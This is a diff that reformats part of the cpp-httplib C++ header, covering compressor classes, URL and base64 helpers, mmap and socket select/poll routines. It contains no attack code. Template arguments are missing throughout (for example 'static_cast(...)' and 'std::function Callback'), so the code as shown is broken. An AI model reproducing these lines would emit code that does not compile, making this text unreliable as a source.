bool is_readable() const override; + bool is_writable() const override; + ssize_t read(char *ptr, size_t size) override; + ssize_t write(const char *ptr, size_t size) override; + void get_remote_ip_and_port(std::string &ip, int &port) const override; + void get_local_ip_and_port(std::string &ip, int &port) const override; + socket_t socket() const override; - const std::string &get_buffer() const; + const std::string &get_buffer() const; private: - std::string buffer; - size_t position = 0; + std::string buffer; + size_t position = 0; }; -class compressor { +class compressor +{ public: - virtual ~compressor() = default; + virtual ~compressor() = default; - typedef std::function Callback; - virtual bool compress(const char *data, size_t data_length, bool last, - Callback callback) = 0; -}; - -class decompressor { -public: - virtual ~decompressor() = default; - - virtual bool is_valid() const = 0; - - typedef std::function Callback; - virtual bool decompress(const char *data, size_t data_length, + typedef std::function Callback; + virtual bool compress(const char *data, size_t data_length, bool last, Callback callback) = 0; }; -class nocompressor : public compressor { +class decompressor +{ public: - ~nocompressor() override = default; + virtual ~decompressor() = default; - bool compress(const char *data, size_t data_length, bool /*last*/, - Callback callback) override; + virtual bool is_valid() const = 0; + + typedef std::function Callback; + virtual bool decompress(const char *data, size_t data_length, + Callback callback) = 0; +}; + +class nocompressor : public compressor +{ +public: + ~nocompressor() override = default; + + bool compress(const char *data, size_t data_length, bool /*last*/, + Callback callback) override; }; #ifdef CPPHTTPLIB_ZLIB_SUPPORT -class gzip_compressor : public compressor { +class gzip_compressor : public compressor +{ public: - gzip_compressor(); - ~gzip_compressor() override; + gzip_compressor(); + ~gzip_compressor() override; - bool compress(const char *data, size_t data_length, bool last, - Callback callback) override; - -private: - bool is_valid_ = false; - z_stream strm_; -}; - -class gzip_decompressor : public decompressor { -public: - gzip_decompressor(); - ~gzip_decompressor() override; - - bool is_valid() const override; - - bool decompress(const char *data, size_t data_length, + bool compress(const char *data, size_t data_length, bool last, Callback callback) override; private: - bool is_valid_ = false; - z_stream strm_; + bool is_valid_ = false; + z_stream strm_; +}; + +class gzip_decompressor : public decompressor +{ +public: + gzip_decompressor(); + ~gzip_decompressor() override; + + bool is_valid() const override; + + bool decompress(const char *data, size_t data_length, + Callback callback) override; + +private: + bool is_valid_ = false; + z_stream strm_; }; #endif #ifdef CPPHTTPLIB_BROTLI_SUPPORT -class brotli_compressor : public compressor { +class brotli_compressor : public compressor +{ public: - brotli_compressor(); - ~brotli_compressor(); + brotli_compressor(); + ~brotli_compressor(); - bool compress(const char *data, size_t data_length, bool last, - Callback callback) override; - -private: - BrotliEncoderState *state_ = nullptr; -}; - -class brotli_decompressor : public decompressor { -public: - brotli_decompressor(); - ~brotli_decompressor(); - - bool is_valid() const override; - - bool decompress(const char *data, size_t data_length, + bool compress(const char *data, size_t data_length, bool last, Callback callback) override; private: - BrotliDecoderResult decoder_r; - BrotliDecoderState *decoder_s = nullptr; + BrotliEncoderState *state_ = nullptr; +}; + +class brotli_decompressor : public decompressor +{ +public: + brotli_decompressor(); + ~brotli_decompressor(); + + bool is_valid() const override; + + bool decompress(const char *data, size_t data_length, + Callback callback) override; + +private: + BrotliDecoderResult decoder_r; + BrotliDecoderState *decoder_s = nullptr; }; #endif // NOTE: until the read size reaches `fixed_buffer_size`, use `fixed_buffer` // to store data. The call can set memory on stack for performance. -class stream_line_reader { +class stream_line_reader +{ public: - stream_line_reader(Stream &strm, char *fixed_buffer, - size_t fixed_buffer_size); - const char *ptr() const; - size_t size() const; - bool end_with_crlf() const; - bool getline(); + stream_line_reader(Stream &strm, char *fixed_buffer, + size_t fixed_buffer_size); + const char *ptr() const; + size_t size() const; + bool end_with_crlf() const; + bool getline(); private: - void append(char c); + void append(char c); - Stream &strm_; - char *fixed_buffer_; - const size_t fixed_buffer_size_; - size_t fixed_buffer_used_size_ = 0; - std::string glowable_buffer_; + Stream &strm_; + char *fixed_buffer_; + const size_t fixed_buffer_size_; + size_t fixed_buffer_used_size_ = 0; + std::string glowable_buffer_; }; -class mmap { +class mmap +{ public: - mmap(const char *path); - ~mmap(); + mmap(const char *path); + ~mmap(); - bool open(const char *path); - void close(); + bool open(const char *path); + void close(); - bool is_open() const; - size_t size() const; - const char *data() const; + bool is_open() const; + size_t size() const; + const char *data() const; private: #if defined(_WIN32) - HANDLE hFile_; - HANDLE hMapping_; + HANDLE hFile_; + HANDLE hMapping_; #else - int fd_; + int fd_; #endif - size_t size_; - void *addr_; + size_t size_; + void *addr_; }; } // namespace detail @@ -2268,383 +2454,442 @@ private: * Implementation that will be part of the .cc file if split into .h + .cc. */ -namespace detail { +namespace detail +{ -inline bool is_hex(char c, int &v) { - if (0x20 <= c && isdigit(c)) { - v = c - '0'; - return true; - } else if ('A' <= c && c <= 'F') { - v = c - 'A' + 10; - return true; - } else if ('a' <= c && c <= 'f') { - v = c - 'a' + 10; - return true; - } - return false; +inline bool is_hex(char c, int &v) +{ + if (0x20 <= c && isdigit(c)) { + v = c - '0'; + return true; + } else if ('A' <= c && c <= 'F') { + v = c - 'A' + 10; + return true; + } else if ('a' <= c && c <= 'f') { + v = c - 'a' + 10; + return true; + } + return false; } inline bool from_hex_to_i(const std::string &s, size_t i, size_t cnt, - int &val) { - if (i >= s.size()) { return false; } - - val = 0; - for (; cnt; i++, cnt--) { - if (!s[i]) { return false; } - auto v = 0; - if (is_hex(s[i], v)) { - val = val * 16 + v; - } else { - return false; + int &val) +{ + if (i >= s.size()) { + return false; } - } - return true; + + val = 0; + for (; cnt; i++, cnt--) { + if (!s[i]) { + return false; + } + auto v = 0; + if (is_hex(s[i], v)) { + val = val * 16 + v; + } else { + return false; + } + } + return true; } -inline std::string from_i_to_hex(size_t n) { - static const auto charset = "0123456789abcdef"; - std::string ret; - do { - ret = charset[n & 15] + ret; - n >>= 4; - } while (n > 0); - return ret; +inline std::string from_i_to_hex(size_t n) +{ + static const auto charset = "0123456789abcdef"; + std::string ret; + do { + ret = charset[n & 15] + ret; + n >>= 4; + } while (n > 0); + return ret; } -inline size_t to_utf8(int code, char *buff) { - if (code < 0x0080) { - buff[0] = static_cast(code & 0x7F); - return 1; - } else if (code < 0x0800) { - buff[0] = static_cast(0xC0 | ((code >> 6) & 0x1F)); - buff[1] = static_cast(0x80 | (code & 0x3F)); - return 2; - } else if (code < 0xD800) { - buff[0] = static_cast(0xE0 | ((code >> 12) & 0xF)); - buff[1] = static_cast(0x80 | ((code >> 6) & 0x3F)); - buff[2] = static_cast(0x80 | (code & 0x3F)); - return 3; - } else if (code < 0xE000) { // D800 - DFFF is invalid... +inline size_t to_utf8(int code, char *buff) +{ + if (code < 0x0080) { + buff[0] = static_cast(code & 0x7F); + return 1; + } else if (code < 0x0800) { + buff[0] = static_cast(0xC0 | ((code >> 6) & 0x1F)); + buff[1] = static_cast(0x80 | (code & 0x3F)); + return 2; + } else if (code < 0xD800) { + buff[0] = static_cast(0xE0 | ((code >> 12) & 0xF)); + buff[1] = static_cast(0x80 | ((code >> 6) & 0x3F)); + buff[2] = static_cast(0x80 | (code & 0x3F)); + return 3; + } else if (code < 0xE000) { // D800 - DFFF is invalid... + return 0; + } else if (code < 0x10000) { + buff[0] = static_cast(0xE0 | ((code >> 12) & 0xF)); + buff[1] = static_cast(0x80 | ((code >> 6) & 0x3F)); + buff[2] = static_cast(0x80 | (code & 0x3F)); + return 3; + } else if (code < 0x110000) { + buff[0] = static_cast(0xF0 | ((code >> 18) & 0x7)); + buff[1] = static_cast(0x80 | ((code >> 12) & 0x3F)); + buff[2] = static_cast(0x80 | ((code >> 6) & 0x3F)); + buff[3] = static_cast(0x80 | (code & 0x3F)); + return 4; + } + + // NOTREACHED return 0; - } else if (code < 0x10000) { - buff[0] = static_cast(0xE0 | ((code >> 12) & 0xF)); - buff[1] = static_cast(0x80 | ((code >> 6) & 0x3F)); - buff[2] = static_cast(0x80 | (code & 0x3F)); - return 3; - } else if (code < 0x110000) { - buff[0] = static_cast(0xF0 | ((code >> 18) & 0x7)); - buff[1] = static_cast(0x80 | ((code >> 12) & 0x3F)); - buff[2] = static_cast(0x80 | ((code >> 6) & 0x3F)); - buff[3] = static_cast(0x80 | (code & 0x3F)); - return 4; - } - - // NOTREACHED - return 0; } // NOTE: This code came up with the following stackoverflow post: // https://stackoverflow.com/questions/180947/base64-decode-snippet-in-c -inline std::string base64_encode(const std::string &in) { - static const auto lookup = - "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; +inline std::string base64_encode(const std::string &in) +{ + static const auto lookup = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; - std::string out; - out.reserve(in.size()); + std::string out; + out.reserve(in.size()); - auto val = 0; - auto valb = -6; + auto val = 0; + auto valb = -6; - for (auto c : in) { - val = (val << 8) + static_cast(c); - valb += 8; - while (valb >= 0) { - out.push_back(lookup[(val >> valb) & 0x3F]); - valb -= 6; + for (auto c : in) { + val = (val << 8) + static_cast(c); + valb += 8; + while (valb >= 0) { + out.push_back(lookup[(val >> valb) & 0x3F]); + valb -= 6; + } } - } - if (valb > -6) { out.push_back(lookup[((val << 8) >> (valb + 8)) & 0x3F]); } + if (valb > -6) { + out.push_back(lookup[((val << 8) >> (valb + 8)) & 0x3F]); + } - while (out.size() % 4) { - out.push_back('='); - } + while (out.size() % 4) { + out.push_back('='); + } - return out; + return out; } -inline bool is_file(const std::string &path) { +inline bool is_file(const std::string &path) +{ #ifdef _WIN32 - return _access_s(path.c_str(), 0) == 0; + return _access_s(path.c_str(), 0) == 0; #else - struct stat st; - return stat(path.c_str(), &st) >= 0 && S_ISREG(st.st_mode); + struct stat st; + return stat(path.c_str(), &st) >= 0 && S_ISREG(st.st_mode); #endif } -inline bool is_dir(const std::string &path) { - struct stat st; - return stat(path.c_str(), &st) >= 0 && S_ISDIR(st.st_mode); +inline bool is_dir(const std::string &path) +{ + struct stat st; + return stat(path.c_str(), &st) >= 0 && S_ISDIR(st.st_mode); } -inline bool is_valid_path(const std::string &path) { - size_t level = 0; - size_t i = 0; - - // Skip slash - while (i < path.size() && path[i] == '/') { - i++; - } - - while (i < path.size()) { - // Read component - auto beg = i; - while (i < path.size() && path[i] != '/') { - i++; - } - - auto len = i - beg; - assert(len > 0); - - if (!path.compare(beg, len, ".")) { - ; - } else if (!path.compare(beg, len, "..")) { - if (level == 0) { return false; } - level--; - } else { - level++; - } +inline bool is_valid_path(const std::string &path) +{ + size_t level = 0; + size_t i = 0; // Skip slash while (i < path.size() && path[i] == '/') { - i++; + i++; } - } - return true; + while (i < path.size()) { + // Read component + auto beg = i; + while (i < path.size() && path[i] != '/') { + i++; + } + + auto len = i - beg; + assert(len > 0); + + if (!path.compare(beg, len, ".")) { + ; + } else if (!path.compare(beg, len, "..")) { + if (level == 0) { + return false; + } + level--; + } else { + level++; + } + + // Skip slash + while (i < path.size() && path[i] == '/') { + i++; + } + } + + return true; } -inline std::string encode_query_param(const std::string &value) { - std::ostringstream escaped; - escaped.fill('0'); - escaped << std::hex; +inline std::string encode_query_param(const std::string &value) +{ + std::ostringstream escaped; + escaped.fill('0'); + escaped << std::hex; - for (auto c : value) { - if (std::isalnum(static_cast(c)) || c == '-' || c == '_' || - c == '.' || c == '!' || c == '~' || c == '*' || c == '\'' || c == '(' || - c == ')') { - escaped << c; - } else { - escaped << std::uppercase; - escaped << '%' << std::setw(2) - << static_cast(static_cast(c)); - escaped << std::nouppercase; + for (auto c : value) { + if (std::isalnum(static_cast(c)) || c == '-' || c == '_' || + c == '.' || c == '!' || c == '~' || c == '*' || c == '\'' || c == '(' || + c == ')') { + escaped << c; + } else { + escaped << std::uppercase; + escaped << '%' << std::setw(2) + << static_cast(static_cast(c)); + escaped << std::nouppercase; + } } - } - return escaped.str(); + return escaped.str(); } -inline std::string encode_url(const std::string &s) { - std::string result; - result.reserve(s.size()); +inline std::string encode_url(const std::string &s) +{ + std::string result; + result.reserve(s.size()); - for (size_t i = 0; s[i]; i++) { - switch (s[i]) { - case ' ': result += "%20"; break; - case '+': result += "%2B"; break; - case '\r': result += "%0D"; break; - case '\n': result += "%0A"; break; - case '\'': result += "%27"; break; - case ',': result += "%2C"; break; - // case ':': result += "%3A"; break; // ok? probably... - case ';': result += "%3B"; break; - default: - auto c = static_cast(s[i]); - if (c >= 0x80) { - result += '%'; - char hex[4]; - auto len = snprintf(hex, sizeof(hex) - 1, "%02X", c); - assert(len == 2); - result.append(hex, static_cast(len)); - } else { - result += s[i]; - } - break; + for (size_t i = 0; s[i]; i++) { + switch (s[i]) { + case ' ': + result += "%20"; + break; + case '+': + result += "%2B"; + break; + case '\r': + result += "%0D"; + break; + case '\n': + result += "%0A"; + break; + case '\'': + result += "%27"; + break; + case ',': + result += "%2C"; + break; + // case ':': result += "%3A"; break; // ok? probably... + case ';': + result += "%3B"; + break; + default: + auto c = static_cast(s[i]); + if (c >= 0x80) { + result += '%'; + char hex[4]; + auto len = snprintf(hex, sizeof(hex) - 1, "%02X", c); + assert(len == 2); + result.append(hex, static_cast(len)); + } else { + result += s[i]; + } + break; + } } - } - return result; + return result; } inline std::string decode_url(const std::string &s, - bool convert_plus_to_space) { - std::string result; + bool convert_plus_to_space) +{ + std::string result; - for (size_t i = 0; i < s.size(); i++) { - if (s[i] == '%' && i + 1 < s.size()) { - if (s[i + 1] == 'u') { - auto val = 0; - if (from_hex_to_i(s, i + 2, 4, val)) { - // 4 digits Unicode codes - char buff[4]; - size_t len = to_utf8(val, buff); - if (len > 0) { result.append(buff, len); } - i += 5; // 'u0000' + for (size_t i = 0; i < s.size(); i++) { + if (s[i] == '%' && i + 1 < s.size()) { + if (s[i + 1] == 'u') { + auto val = 0; + if (from_hex_to_i(s, i + 2, 4, val)) { + // 4 digits Unicode codes + char buff[4]; + size_t len = to_utf8(val, buff); + if (len > 0) { + result.append(buff, len); + } + i += 5; // 'u0000' + } else { + result += s[i]; + } + } else { + auto val = 0; + if (from_hex_to_i(s, i + 1, 2, val)) { + // 2 digits hex codes + result += static_cast(val); + i += 2; // '00' + } else { + result += s[i]; + } + } + } else if (convert_plus_to_space && s[i] == '+') { + result += ' '; } else { - result += s[i]; + result += s[i]; } - } else { - auto val = 0; - if (from_hex_to_i(s, i + 1, 2, val)) { - // 2 digits hex codes - result += static_cast(val); - i += 2; // '00' - } else { - result += s[i]; - } - } - } else if (convert_plus_to_space && s[i] == '+') { - result += ' '; - } else { - result += s[i]; } - } - return result; + return result; } -inline void read_file(const std::string &path, std::string &out) { - std::ifstream fs(path, std::ios_base::binary); - fs.seekg(0, std::ios_base::end); - auto size = fs.tellg(); - fs.seekg(0); - out.resize(static_cast(size)); - fs.read(&out[0], static_cast(size)); +inline void read_file(const std::string &path, std::string &out) +{ + std::ifstream fs(path, std::ios_base::binary); + fs.seekg(0, std::ios_base::end); + auto size = fs.tellg(); + fs.seekg(0); + out.resize(static_cast(size)); + fs.read(&out[0], static_cast(size)); } -inline std::string file_extension(const std::string &path) { - std::smatch m; - static auto re = std::regex("\\.([a-zA-Z0-9]+)$"); - if (std::regex_search(path, m, re)) { return m[1].str(); } - return std::string(); +inline std::string file_extension(const std::string &path) +{ + std::smatch m; + static auto re = std::regex("\\.([a-zA-Z0-9]+)$"); + if (std::regex_search(path, m, re)) { + return m[1].str(); + } + return std::string(); } -inline bool is_space_or_tab(char c) { return c == ' ' || c == '\t'; } +inline bool is_space_or_tab(char c) +{ + return c == ' ' || c == '\t'; +} inline std::pair trim(const char *b, const char *e, size_t left, - size_t right) { - while (b + left < e && is_space_or_tab(b[left])) { - left++; - } - while (right > 0 && is_space_or_tab(b[right - 1])) { - right--; - } - return std::make_pair(left, right); + size_t right) +{ + while (b + left < e && is_space_or_tab(b[left])) { + left++; + } + while (right > 0 && is_space_or_tab(b[right - 1])) { + right--; + } + return std::make_pair(left, right); } -inline std::string trim_copy(const std::string &s) { - auto r = trim(s.data(), s.data() + s.size(), 0, s.size()); - return s.substr(r.first, r.second - r.first); +inline std::string trim_copy(const std::string &s) +{ + auto r = trim(s.data(), s.data() + s.size(), 0, s.size()); + return s.substr(r.first, r.second - r.first); } -inline std::string trim_double_quotes_copy(const std::string &s) { - if (s.length() >= 2 && s.front() == '"' && s.back() == '"') { - return s.substr(1, s.size() - 2); - } - return s; +inline std::string trim_double_quotes_copy(const std::string &s) +{ + if (s.length() >= 2 && s.front() == '"' && s.back() == '"') { + return s.substr(1, s.size() - 2); + } + return s; } inline void split(const char *b, const char *e, char d, - std::function fn) { - return split(b, e, d, std::numeric_limits::max(), fn); + std::function fn) +{ + return split(b, e, d, std::numeric_limits::max(), fn); } inline void split(const char *b, const char *e, char d, size_t m, - std::function fn) { - size_t i = 0; - size_t beg = 0; - size_t count = 1; + std::function fn) +{ + size_t i = 0; + size_t beg = 0; + size_t count = 1; - while (e ? (b + i < e) : (b[i] != '\0')) { - if (b[i] == d && count < m) { - auto r = trim(b, e, beg, i); - if (r.first < r.second) { fn(&b[r.first], &b[r.second]); } - beg = i + 1; - count++; + while (e ? (b + i < e) : (b[i] != '\0')) { + if (b[i] == d && count < m) { + auto r = trim(b, e, beg, i); + if (r.first < r.second) { + fn(&b[r.first], &b[r.second]); + } + beg = i + 1; + count++; + } + i++; } - i++; - } - if (i) { - auto r = trim(b, e, beg, i); - if (r.first < r.second) { fn(&b[r.first], &b[r.second]); } - } + if (i) { + auto r = trim(b, e, beg, i); + if (r.first < r.second) { + fn(&b[r.first], &b[r.second]); + } + } } inline stream_line_reader::stream_line_reader(Stream &strm, char *fixed_buffer, - size_t fixed_buffer_size) + size_t fixed_buffer_size) : strm_(strm), fixed_buffer_(fixed_buffer), fixed_buffer_size_(fixed_buffer_size) {} -inline const char *stream_line_reader::ptr() const { - if (glowable_buffer_.empty()) { - return fixed_buffer_; - } else { - return glowable_buffer_.data(); - } -} - -inline size_t stream_line_reader::size() const { - if (glowable_buffer_.empty()) { - return fixed_buffer_used_size_; - } else { - return glowable_buffer_.size(); - } -} - -inline bool stream_line_reader::end_with_crlf() const { - auto end = ptr() + size(); - return size() >= 2 && end[-2] == '\r' && end[-1] == '\n'; -} - -inline bool stream_line_reader::getline() { - fixed_buffer_used_size_ = 0; - glowable_buffer_.clear(); - - for (size_t i = 0;; i++) { - char byte; - auto n = strm_.read(&byte, 1); - - if (n < 0) { - return false; - } else if (n == 0) { - if (i == 0) { - return false; - } else { - break; - } - } - - append(byte); - - if (byte == '\n') { break; } - } - - return true; -} - -inline void stream_line_reader::append(char c) { - if (fixed_buffer_used_size_ < fixed_buffer_size_ - 1) { - fixed_buffer_[fixed_buffer_used_size_++] = c; - fixed_buffer_[fixed_buffer_used_size_] = '\0'; - } else { +inline const char *stream_line_reader::ptr() const +{ if (glowable_buffer_.empty()) { - assert(fixed_buffer_[fixed_buffer_used_size_] == '\0'); - glowable_buffer_.assign(fixed_buffer_, fixed_buffer_used_size_); + return fixed_buffer_; + } else { + return glowable_buffer_.data(); + } +} + +inline size_t stream_line_reader::size() const +{ + if (glowable_buffer_.empty()) { + return fixed_buffer_used_size_; + } else { + return glowable_buffer_.size(); + } +} + +inline bool stream_line_reader::end_with_crlf() const +{ + auto end = ptr() + size(); + return size() >= 2 && end[-2] == '\r' && end[-1] == '\n'; +} + +inline bool stream_line_reader::getline() +{ + fixed_buffer_used_size_ = 0; + glowable_buffer_.clear(); + + for (size_t i = 0;; i++) { + char byte; + auto n = strm_.read(&byte, 1); + + if (n < 0) { + return false; + } else if (n == 0) { + if (i == 0) { + return false; + } else { + break; + } + } + + append(byte); + + if (byte == '\n') { + break; + } + } + + return true; +} + +inline void stream_line_reader::append(char c) +{ + if (fixed_buffer_used_size_ < fixed_buffer_size_ - 1) { + fixed_buffer_[fixed_buffer_used_size_++] = c; + fixed_buffer_[fixed_buffer_used_size_] = '\0'; + } else { + if (glowable_buffer_.empty()) { + assert(fixed_buffer_[fixed_buffer_used_size_] == '\0'); + glowable_buffer_.assign(fixed_buffer_, fixed_buffer_used_size_); + } + glowable_buffer_ += c; } - glowable_buffer_ += c; - } } inline mmap::mmap(const char *path) @@ -2653,346 +2898,399 @@ inline mmap::mmap(const char *path) #else : fd_(-1) #endif - , - size_(0), addr_(nullptr) { - open(path); + , + size_(0), addr_(nullptr) +{ + open(path); } -inline mmap::~mmap() { close(); } +inline mmap::~mmap() +{ + close(); +} -inline bool mmap::open(const char *path) { - close(); +inline bool mmap::open(const char *path) +{ + close(); #if defined(_WIN32) - hFile_ = ::CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, - OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + hFile_ = ::CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - if (hFile_ == INVALID_HANDLE_VALUE) { return false; } + if (hFile_ == INVALID_HANDLE_VALUE) { + return false; + } - size_ = ::GetFileSize(hFile_, NULL); + size_ = ::GetFileSize(hFile_, NULL); - hMapping_ = ::CreateFileMapping(hFile_, NULL, PAGE_READONLY, 0, 0, NULL); + hMapping_ = ::CreateFileMapping(hFile_, NULL, PAGE_READONLY, 0, 0, NULL); - if (hMapping_ == NULL) { - close(); - return false; - } + if (hMapping_ == NULL) { + close(); + return false; + } - addr_ = ::MapViewOfFile(hMapping_, FILE_MAP_READ, 0, 0, 0); + addr_ = ::MapViewOfFile(hMapping_, FILE_MAP_READ, 0, 0, 0); #else - fd_ = ::open(path, O_RDONLY); - if (fd_ == -1) { return false; } + fd_ = ::open(path, O_RDONLY); + if (fd_ == -1) { + return false; + } - struct stat sb; - if (fstat(fd_, &sb) == -1) { - close(); - return false; - } - size_ = static_cast(sb.st_size); + struct stat sb; + if (fstat(fd_, &sb) == -1) { + close(); + return false; + } + size_ = static_cast(sb.st_size); - addr_ = ::mmap(NULL, size_, PROT_READ, MAP_PRIVATE, fd_, 0); + addr_ = ::mmap(NULL, size_, PROT_READ, MAP_PRIVATE, fd_, 0); #endif - if (addr_ == nullptr) { - close(); - return false; - } + if (addr_ == nullptr) { + close(); + return false; + } - return true; + return true; } -inline bool mmap::is_open() const { return addr_ != nullptr; } +inline bool mmap::is_open() const +{ + return addr_ != nullptr; +} -inline size_t mmap::size() const { return size_; } +inline size_t mmap::size() const +{ + return size_; +} -inline const char *mmap::data() const { return (const char *)addr_; } +inline const char *mmap::data() const +{ + return (const char *)addr_; +} -inline void mmap::close() { +inline void mmap::close() +{ #if defined(_WIN32) - if (addr_) { - ::UnmapViewOfFile(addr_); - addr_ = nullptr; - } + if (addr_) { + ::UnmapViewOfFile(addr_); + addr_ = nullptr; + } - if (hMapping_) { - ::CloseHandle(hMapping_); - hMapping_ = NULL; - } + if (hMapping_) { + ::CloseHandle(hMapping_); + hMapping_ = NULL; + } - if (hFile_ != INVALID_HANDLE_VALUE) { - ::CloseHandle(hFile_); - hFile_ = INVALID_HANDLE_VALUE; - } + if (hFile_ != INVALID_HANDLE_VALUE) { + ::CloseHandle(hFile_); + hFile_ = INVALID_HANDLE_VALUE; + } #else - if (addr_ != nullptr) { - munmap(addr_, size_); - addr_ = nullptr; - } + if (addr_ != nullptr) { + munmap(addr_, size_); + addr_ = nullptr; + } - if (fd_ != -1) { - ::close(fd_); - fd_ = -1; - } + if (fd_ != -1) { + ::close(fd_); + fd_ = -1; + } #endif - size_ = 0; + size_ = 0; } -inline int close_socket(socket_t sock) { +inline int close_socket(socket_t sock) +{ #ifdef _WIN32 - return closesocket(sock); + return closesocket(sock); #else - return close(sock); + return close(sock); #endif } -template inline ssize_t handle_EINTR(T fn) { - ssize_t res = 0; - while (true) { - res = fn(); - if (res < 0 && errno == EINTR) { continue; } - break; - } - return res; +template inline ssize_t handle_EINTR(T fn) +{ + ssize_t res = 0; + while (true) { + res = fn(); + if (res < 0 && errno == EINTR) { + continue; + } + break; + } + return res; } -inline ssize_t read_socket(socket_t sock, void *ptr, size_t size, int flags) { - return handle_EINTR([&]() { - return recv(sock, +inline ssize_t read_socket(socket_t sock, void *ptr, size_t size, int flags) +{ + return handle_EINTR([&]() { + return recv(sock, #ifdef _WIN32 - static_cast(ptr), static_cast(size), + static_cast(ptr), static_cast(size), #else - ptr, size, + ptr, size, #endif - flags); - }); + flags); + }); } inline ssize_t send_socket(socket_t sock, const void *ptr, size_t size, - int flags) { - return handle_EINTR([&]() { - return send(sock, + int flags) +{ + return handle_EINTR([&]() { + return send(sock, #ifdef _WIN32 - static_cast(ptr), static_cast(size), + static_cast(ptr), static_cast(size), #else - ptr, size, + ptr, size, #endif - flags); - }); + flags); + }); } -inline ssize_t select_read(socket_t sock, time_t sec, time_t usec) { +inline ssize_t select_read(socket_t sock, time_t sec, time_t usec) +{ #ifdef CPPHTTPLIB_USE_POLL - struct pollfd pfd_read; - pfd_read.fd = sock; - pfd_read.events = POLLIN; + struct pollfd pfd_read; + pfd_read.fd = sock; + pfd_read.events = POLLIN; - auto timeout = static_cast(sec * 1000 + usec / 1000); + auto timeout = static_cast(sec * 1000 + usec / 1000); - return handle_EINTR([&]() { return poll(&pfd_read, 1, timeout); }); + return handle_EINTR([&]() { + return poll(&pfd_read, 1, timeout); + }); #else #ifndef _WIN32 - if (sock >= FD_SETSIZE) { return 1; } + if (sock >= FD_SETSIZE) { + return 1; + } #endif - fd_set fds; - FD_ZERO(&fds); - FD_SET(sock, &fds); + fd_set fds; + FD_ZERO(&fds); + FD_SET(sock, &fds); - timeval tv; - tv.tv_sec = static_cast(sec); - tv.tv_usec = static_cast(usec); + timeval tv; + tv.tv_sec = static_cast(sec); + tv.tv_usec = static_cast(usec); - return handle_EINTR([&]() { - return select(static_cast(sock + 1), &fds, nullptr, nullptr, &tv); - }); + return handle_EINTR([&]() { + return select(static_cast(sock + 1), &fds, nullptr, nullptr, &tv); + }); #endif } -inline ssize_t select_write(socket_t sock, time_t sec, time_t usec) { +inline ssize_t select_write(socket_t sock, time_t sec, time_t usec) +{ #ifdef CPPHTTPLIB_USE_POLL - struct pollfd pfd_read; - pfd_read.fd = sock; - pfd_read.events = POLLOUT; + struct pollfd pfd_read; + pfd_read.fd = sock; + pfd_read.events = POLLOUT; - auto timeout = static_cast(sec * 1000 + usec / 1000); + auto timeout = static_cast(sec * 1000 + usec / 1000); - return handle_EINTR([&]() { return poll(&pfd_read, 1, timeout); }); + return handle_EINTR([&]() { + return poll(&pfd_read, 1, timeout); + }); #else #ifndef _WIN32 - if (sock >= FD_SETSIZE) { return 1; } + if (sock >= FD_SETSIZE) { + return 1; + } #endif - fd_set fds; - FD_ZERO(&fds); - FD_SET(sock, &fds); + fd_set fds; + FD_ZERO(&fds); + FD_SET(sock, &fds); - timeval tv; - tv.tv_sec = static_cast(sec); - tv.tv_usec = static_cast(usec); + timeval tv; + tv.tv_sec = static_cast(sec); + tv.tv_usec = static_cast(usec); - return handle_EINTR([&]() { - return select(static_cast(sock + 1), nullptr, &fds, nullptr, &tv); - }); + return handle_EINTR([&]() { + return select(static_cast(sock + 1), nullptr, &fds, nullptr, &tv); + }); #endif } inline Error wait_until_socket_is_ready(socket_t sock, time_t sec, - time_t usec) { + time_t usec) +{ #ifdef CPPHTTPLIB_USE_POLL - struct pollfd pfd_read; - pfd_read.fd = sock; - pfd_read.events = POLLIN | POLLOUT; + struct pollfd pfd_read; + pfd_read.fd = sock; + pfd_read.events = POLLIN | POLLOUT; - auto timeout = static_cast(sec * 1000 + usec / 1000); + auto timeout = static_cast(sec * 1000 + usec / 1000); - auto poll_res = handle_EINTR([&]() { return poll(&pfd_read, 1, timeout); }); + auto poll_res = handle_EINTR([&]() { + return poll(&pfd_read, 1, timeout); + }); - if (poll_res == 0) { return Error::ConnectionTimeout; } + if (poll_res == 0) { + return Error::ConnectionTimeout; + } - if (poll_res > 0 && pfd_read.revents & (POLLIN | POLLOUT)) { - auto error = 0; - socklen_t len = sizeof(error); - auto res = getsockopt(sock, SOL_SOCKET, SO_ERROR, - reinterpret_cast(&error), &len); - auto successful = res >= 0 && !error; - return successful ? Error::Success : Error::Connection; - } + if (poll_res > 0 && pfd_read.revents & (POLLIN | POLLOUT)) { + auto error = 0; + socklen_t len = sizeof(error); + auto res = getsockopt(sock, SOL_SOCKET, SO_ERROR, + reinterpret_cast(&error), &len); + auto successful = res >= 0 && !error; + return successful ? Error::Success : Error::Connection; + } - return Error::Connection; + return Error::Connection; #else #ifndef _WIN32 - if (sock >= FD_SETSIZE) { return Error::Connection; } + if (sock >= FD_SETSIZE) { + return Error::Connection; + } #endif - fd_set fdsr; - FD_ZERO(&fdsr); - FD_SET(sock, &fdsr); + fd_set fdsr; + FD_ZERO(&fdsr); + FD_SET(sock, &fdsr); - auto fdsw = fdsr; - auto fdse = fdsr; + auto fdsw = fdsr; + auto fdse = fdsr; - timeval tv; - tv.tv_sec = static_cast(sec); - tv.tv_usec = static_cast(usec); + timeval tv; + tv.tv_sec = static_cast(sec); + tv.tv_usec = static_cast(usec); - auto ret = handle_EINTR([&]() { - return select(static_cast(sock + 1), &fdsr, &fdsw, &fdse, &tv); - }); + auto ret = handle_EINTR([&]() { + return select(static_cast(sock + 1), &fdsr, &fdsw, &fdse, &tv); + }); - if (ret == 0) { return Error::ConnectionTimeout; } + if (ret == 0) { + return Error::ConnectionTimeout; + } - if (ret > 0 && (FD_ISSET(sock, &fdsr) || FD_ISSET(sock, &fdsw))) { - auto error = 0; - socklen_t len = sizeof(error); - auto res = getsockopt(sock, SOL_SOCKET, SO_ERROR, - reinterpret_cast(&error), &len); - auto successful = res >= 0 && !error; - return successful ? Error::Success : Error::Connection; - } - return Error::Connection; + if (ret > 0 && (FD_ISSET(sock, &fdsr) || FD_ISSET(sock, &fdsw))) { + auto error = 0; + socklen_t len = sizeof(error); + auto res = getsockopt(sock, SOL_SOCKET, SO_ERROR, + reinterpret_cast(&error), &len); + auto successful = res >= 0 && !error; + return successful ? Error::Success : 